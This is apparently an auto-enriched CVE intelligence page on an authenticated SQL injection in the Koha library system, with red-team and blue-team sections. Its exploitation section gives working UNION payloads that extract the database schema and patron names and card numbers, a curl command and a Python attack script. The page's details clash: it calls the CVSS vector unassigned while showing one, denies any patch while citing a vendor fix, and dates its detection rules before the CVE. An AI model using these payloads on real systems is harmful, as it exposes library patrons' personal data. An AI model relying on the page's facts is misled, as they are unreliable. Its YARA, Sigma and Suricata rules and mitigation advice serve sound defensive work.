☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Koha logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-31844

CVE-2026-31844 SQL Injection in Koha
📅 PUBLISHED: 2026-03-11 06:34 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v24.11.12 — source: TuranSec. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.59%
👁️
0.59% probability
14.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: New Zealand License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-31844 is an authenticated SQL Injection vulnerability (CWE-89) discovered in the Koha Integrated Library System (ILS) staff interface. The flaw resides in the /cgi-bin/koha/suggestion/suggestion.pl endpoint, specifically within the GetDistinctValues functionality that processes the displayby parameter. A low-privileged staff user can inject arbitrary SQL queries via crafted requests to this parameter, leading to unauthorized execution of SQL statements. Successful exploitation could result in full compromise of the backend database, including disclosure, modification, or deletion of sensitive patron and bibliographic data. As of this report, no official patch or public exploit code is available, and the CVSS vector remains unassigned.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Koha is an open-source ILS distributed primarily via Git repositories, tarballs, and package managers (e.g., Debian/Ubuntu repositories). The vulnerability exists in the core Perl codebase, not in a third-party package. However, organizations using Koha should verify the integrity of their installation source and ensure they are not running modified or untrusted versions. The lack of a patch increases supply chain risk, as administrators must rely on manual code review or custom mitigations.

CVSS Breakdown & Threat Level

While no official CVSS vector has been published, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond authentication.
  • Privileges Required (PR): Low (L) – A low-privileged staff account is sufficient.
  • User Interaction (UI): None (N) – No user interaction required.
  • Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Data modification possible.
  • Availability (A): High (H) – Potential for denial of service via destructive queries.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical due to the potential for complete database compromise with low privileges.

Deep Dive & Mechanics

The vulnerability is located in the GetDistinctValues subroutine within the Koha staff interface. This function is used to retrieve distinct values for a given field (e.g., suggestion status, category) to populate dropdown filters or autocomplete fields. The displayby parameter is passed directly into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path (Conceptual):

# In suggestion.pl or a related module
my $displayby = $cgi->param('displayby');
my $values = GetDistinctValues($displayby);
# Inside GetDistinctValues
sub GetDistinctValues {
    my ($field) = @_;
    my $dbh = C4::Context->dbh;
    my $query = "SELECT DISTINCT $field FROM suggestions";
    my $sth = $dbh->prepare($query);
    $sth->execute();
    # ...
}

The $field variable is interpolated directly into the SQL string. An attacker can inject SQL by providing a value like:

displayby=status UNION SELECT @@version --

This would result in the query:

SELECT DISTINCT status UNION SELECT @@version -- FROM suggestions

The -- comments out the rest of the query, allowing the attacker to execute arbitrary SQL.

Why it works: The code uses string interpolation instead of placeholders or whitelisting. The displayby parameter is expected to be a column name, but no validation is performed to ensure it is a legitimate column.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

sub GetDistinctValues {
    my ($field) = @_;
    my $dbh = C4::Context->dbh;
    my $query = "SELECT DISTINCT $field FROM suggestions";
    my $sth = $dbh->prepare($query);
    $sth->execute();
    # ...
}

Patched Code (Conceptual):

sub GetDistinctValues {
    my ($field) = @_;
    my @allowed_fields = qw(status category reason);
    unless (grep { $_ eq $field } @allowed_fields) {
        die "Invalid field";
    }
    my $dbh = C4::Context->dbh;
    my $query = "SELECT DISTINCT $field FROM suggestions";
    my $sth = $dbh->prepare($query);
    $sth->execute();
    # ...
}

The patch introduces a whitelist of allowed column names. If the provided $field is not in the list, the function dies. This prevents SQL injection by ensuring only predefined column names can be used.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Koha instance with a low-privileged staff account (e.g., koha-staff with cataloging permissions).
  • Network access to the staff interface (typically port 80/443).

Exploitation Steps:

  1. Authenticate to the Koha staff interface and obtain a valid session cookie.

  2. Craft the injection payload. The displayby parameter is vulnerable. Example payloads:

    • Extract database version:

      GET /cgi-bin/koha/suggestion/suggestion.pl?displayby=status UNION SELECT @@version --
      
    • Extract table names:

      GET /cgi-bin/koha/suggestion/suggestion.pl?displayby=status UNION SELECT table_name FROM information_schema.tables --
      
    • Extract patron data:

      GET /cgi-bin/koha/suggestion/suggestion.pl?displayby=status UNION SELECT CONCAT(surname,':',firstname,':',cardnumber) FROM borrowers --
      
  3. Execute the request using a tool like curl:

    curl -k -X GET \
      -b "CGISESSID=your_session_id" \
      "https://target/cgi-bin/koha/suggestion/suggestion.pl?displayby=status%20UNION%20SELECT%20@@version%20--"
    
  4. Parse the response. The injected data will appear in the HTML output where distinct values are displayed.

Automation Script (Python):

import requests

target = "https://target"
session = requests.Session()
session.cookies.set("CGISESSID", "your_session_id")

payload = "status UNION SELECT @@version --"
url = f"{target}/cgi-bin/koha/suggestion/suggestion.pl?displayby={payload}"
response = session.get(url, verify=False)
print(response.text)

Blue Team

Detection Steps:

  1. Monitor web server logs for unusual displayby parameter values. Look for SQL keywords like UNION, SELECT, FROM, --, #, /*.

  2. Analyze database query logs for unexpected SQL statements originating from the suggestion.pl endpoint.

  3. Check for anomalous database activity, such as queries to information_schema or system tables.

  4. Review staff account activity for users with low privileges making requests to suggestion.pl with unusual parameters.

Honeypot Strategy:

  • Deploy a fake Koha instance with a modified suggestion.pl that logs all displayby values and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /cgi-bin/koha/suggestion/suggestion.pl with displayby parameter containing SQL keywords.
  • Unusual User-Agent strings (e.g., python-requests, curl).
  • Requests from IP addresses not in the expected staff network range.

Host IOCs:

  • Unexpected entries in web server access logs (e.g., displayby=status UNION SELECT ...).
  • Database query logs showing queries to information_schema or system tables.
  • Modified or deleted records in the suggestions or borrowers tables.

File IOCs:

  • Suspicious files in the Koha web root (e.g., webshells).
  • Modified Perl modules related to suggestion handling.

Detection Engineering

YARA Rule

rule CVE_2026_31844_Koha_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-31844 in Koha"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-31844"
        severity = "critical"
    strings:
        $s1 = "displayby=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "information_schema" nocase
        $s6 = "suggestion.pl" nocase
    condition:
        all of ($s1, $s6) and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-31844 - Koha SQL Injection via displayby Parameter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the Koha suggestion.pl endpoint
author: Valters IT
date: 2025-04-10
references:
    - CVE-2026-31844
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "displayby="
            - "UNION"
            - "SELECT"
            - "FROM"
            - "information_schema"
    condition: selection
falsepositives:
    - Legitimate use of column names containing SQL keywords (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-31844 - Koha SQL Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/koha/suggestion/suggestion.pl";
    http_uri;
    content:"displayby=";
    http_uri;
    pcre:"/displayby=[^&]*(UNION|SELECT|FROM|information_schema)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2026-31844;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the suggestion functionality in the staff interface if not required.
  2. Implement a Web Application Firewall (WAF) rule to block requests with SQL keywords in the displayby parameter.
  3. Restrict staff access to the suggestion module to only trusted users.

Long-Term Fix:

  1. Apply the official patch once released by the Koha community.
  2. Manually patch the code by adding a whitelist of allowed column names in the GetDistinctValues function.
  3. Upgrade to a patched version of Koha when available.

Code-Level Mitigation (Temporary):

# In the GetDistinctValues subroutine
my @allowed_fields = qw(status category reason);
unless (grep { $_ eq $field } @allowed_fields) {
    die "Invalid field parameter";
}

Database-Level Mitigation:

  • Use a database user with minimal privileges for the Koha application (e.g., only SELECT, INSERT, UPDATE on specific tables).
  • Enable database query logging and monitoring.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2026-31844

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-31844/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.